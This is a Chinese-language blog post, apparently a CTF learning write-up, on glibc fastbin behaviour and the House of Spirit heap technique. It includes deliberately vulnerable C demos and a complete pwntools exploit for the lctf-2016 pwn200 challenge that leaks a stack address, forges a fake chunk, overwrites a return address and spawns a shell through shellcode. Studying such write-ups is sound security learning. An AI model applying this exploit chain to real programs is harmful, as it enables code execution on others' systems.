House of Spirit

Author Avatar
Aryb1n 7月 26, 2017

在SploitFun的文章里提到

  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit
    崩溃,诶?查了一下资料发现,在CTF里出现的好像只有House of SpiritHouse of Force,ahhhh~, 然后找一些文章学习一下这个House of Spirit,这个技术是与fast bin有关的,所以先学一下fast bin

fast bin

看一看这个这个

Fast bin简单的来说就是 16-80 字节(不过好像其实是16-64)的bin优先使用fast bin
只有fd指针,最后一块的fd是空值
不会被合并,因为标志位都总是1

环境说的都是x86,如果x64的话是32-128字节之间

先进后出,像栈一样,fastbin list指向最外边(第一块)的fast bin,就是即将被取出的

有新的fastbin加入fastbin list的时候,新来的fastbin的fd指针指向原来最靠外的fastbin,同时fastbin list指向新来的fastbin

有malloc请求时候,最外边的一块(第一块),被取下,然后fastbin list会指向取下来这块的fd指向的那个地址,这个时候你的机会来了,你如果能在即将取走这块前改写他的fd,那么…怎么改写,,,一般是堆溢出

现在基本清楚了,那个size字段指的大小不是data的大小,本块某一字段加上本块的size值就找到了下一块相应字段的地址,所以这个size是data加上头部的大小
同时这个size和fast binlist是对应的

任意地址写

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    void *buf0, *buf1, *buf2;

    buf0 = malloc(32);
    buf1 = malloc(32);

    free(buf1);
    free(buf0);

    buf0 = malloc(32);
    read(0, buf0, 64);
    buf1 = malloc(32);


    buf2 = malloc(32);

    printf("buf2 is at %p\n", buf2);
    return 0;
}

来自上面提到的blog

malloc的顺序决定了buf0是地址比较小的那一块,所以read处对buf0的写能溢出改掉buf1fd

而这个free的顺序能决定,大概是fastbin list链着的顺序
free掉buf0: list[x] -> buf1
free掉buf1: list[x] -> buf0 -> buf1

malloc了一次: list[x] -> buf1

这个时候list的地址应该是指向buf1这块吧,感觉原作者这里是不是画错了

read一次,这个时候,可以改掉buf1的fd,这个fd就是我们伪造的堆块了

malloc第二次, 在buf1从list上unlink的时候,会把buf1的fd指向的地址,链接进去

malloc第三次,这个时候,会把伪造的堆块分配出来,,,

由于要检查chunk的size,所以我们伪造的堆块的size也应该和前面的buf1和buf0相同,所以我们伪造的堆块的偏移+4的地方,emmmm,就是那个size的地方要改成这个,或者找个满足条件的size值,伪造fd成这个值-4

还要注意一点就是malloc返回的值是data的地址,而系统自己管理list的时候list指向和fd指向都是指向头部,头部和data是偏移8个字节

这个时候我们就可以对buf2所指向的地方写了,实现任意地址读写

这个伪造的地址一般是bss段,要布置好
previous_size[4字节] + size[4字节] + fd[4字节]
注意size值就行了

House of Spirit

主要参考这一篇和上面的两篇
感觉大概是..emmmmmm~前面讲到的是在bss段上伪造堆,这个bss不属于随机化的一部分,程序运行前就能看到bss段基地址 这个HOS的话,看起来是花式在栈上伪造一个堆

原文的例子

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    void *p = malloc(32);
    char buf[8];
    read(0, buf, 0x80);


    free(p);
    malloc(32);
}

我们要利用第一个read

  1. 覆盖p变量,指向伪造的堆块
  2. 伪造一个堆块..格式大概是
    prev_size = 0x00
    size = 0x29 //因为我们伪造的这个堆块大小也是32, 32 + 8 + 1 => 0x29
    fd = 0x00
    
  3. 因为free的时候还会对相邻的后一个chunk(是从地址上后一个,因为这个时候还是allocate的,所以和list无关)进行检查所以,要再伪造一个堆块,大小适中就可以了,inuse要是1??

找打这个下一块应该是,emmmm,本块的size字段地址偏移本字段size的大小, 拿到下一块的大小,下一块的大小适中就可以了emmmmm

之后free的时候,会把我们伪造堆块Free掉就会挂进到fastbinlistY里

最后再malloc的时候就能获取到我们的伪造堆块了

综上我们要有两个可控区域,如果在栈上的话

+------------------+ 低地址
chunk 1
+------------------+
想要控制的地址
+------------------+
chunk2
+------------------+ 高地址

在栈上的话,肯定是先有了chunk2,然后有了chunk1,这个低地址的chunk1要能达到覆盖某个 p = malloc(some_size)的p的目的,然后这个chunk2用来绕过检查

习题

lctf-2016-pwn200

这个题目按照我这边布置的结构大概是

+--------------------+
[8H]    RBP -------------> 0x7fff ffff d9c0 (leak_addr)
+--------------------+ --> 0x7fff ffff d9a0
[30H]  shellcode
+--------------------+ -+> 0x7fff ffff d970 (leak_addr - 50H) [*]shellcode_addr
[20H]                   +
+--------------------+ -+> 0x7fff ffff d950
[8H] ***ret_addr***     +
+--------------------+  + =====> 40H的User Data
[8H] RBP                +
+--------------------+  +
[10H]                   +
+--------------------+ -+> 0x7fff ffff d830 (leak_addr - 90H) [*]fake_addr (User_data)
[8H] size = 0x41
+--------------------+
[8H] prev_size
+--------------------+
[20H] padding
+--------------------+

因为print("%s") 是遇到\x00得时候才认为字符串结束,所以我们如果输入给正好30H的数据(不含有\x00)的话,那那就泄露出上面最上面EBP的值
因为EBP大概是0x0000 7fff ffff xxxx 这样子的结构,所以从低到高会泄露出6个字节

调试一下发现泄露出来的的EBP的值(leak_addr)和我们这个时候的EBP差20H…,
因为题目基本没有开任何防护,所以这里顺便铺设了shellcode,然后缓冲区是30H的大小
所以我们生成一个payload,然后高字节用padding够30H,发给题目

payload  = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

leak_addr = u64(p.recvn(6).ljust(8, '\x00'))

这个时候观察一下我们的shellcode距离当前RBP有30H, 当前RBP距离leak_addr有20H偏移
所以

shellcode_addr = leak_addr - 50H

后面有个功能输入id,可以伪造成第二个堆块的大小,这个id变量是放在leak_addr - 58H的地方,就是放在和我们shellcode相邻并且地址更小的那个地方,这个大小只要适当就好了,具体是在什么什么和什么什么之间来着忘记了

id = getid()

下一步是输入money,就是我们的核心,这里有一个溢出,我们要把malloc到的一个指针p覆盖成我们的fake_addr,然后还顺便构造好我们的fake_chunk的size,我们这里构造0x41,在之后我们会通过free把他拉进list里,最后malloc出来

+-----------+
shellcode
+-----------+ --+
id (size)       +
+-----------+   +
padding         +
+-----------+   +===> fake_chunk's Size = 0x40
RIP             +
+-----------+   +
RBP             +
+-----------+   +
padding         +
+-----------+ --+--> fake_addr
size (0x41)
+-----------+   
prev_size
+-----------+

大概就是这样子,+扩住的是我们最后要控制的地区,fake_addr + 0x40 - 0x08这个地址也就是id所在的地址被认为是下一块chunk,我们通过输入id,构造好了这里

等我们控制了这里之后,在写fake_chunk时候送一个padding + shellcode_addr,就能控制图中的RIP,达到了目的

最后poc

from pwn import *

p = remote('127.0.0.1', 7777)
# p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

payload  = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))

shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode


p.recvuntil('give me your id ~~?\n')
p.sendline('32') # id
p.recvuntil('give me money~\n')

# 32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41)
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1') #malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48')    # 48 + 16 = 64 = 0x40
p.recvline('48')    # ptr = malloc(48) 

data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')

p.send(data)

p.recvuntil('choice')
p.sendline('3')

p.interactive()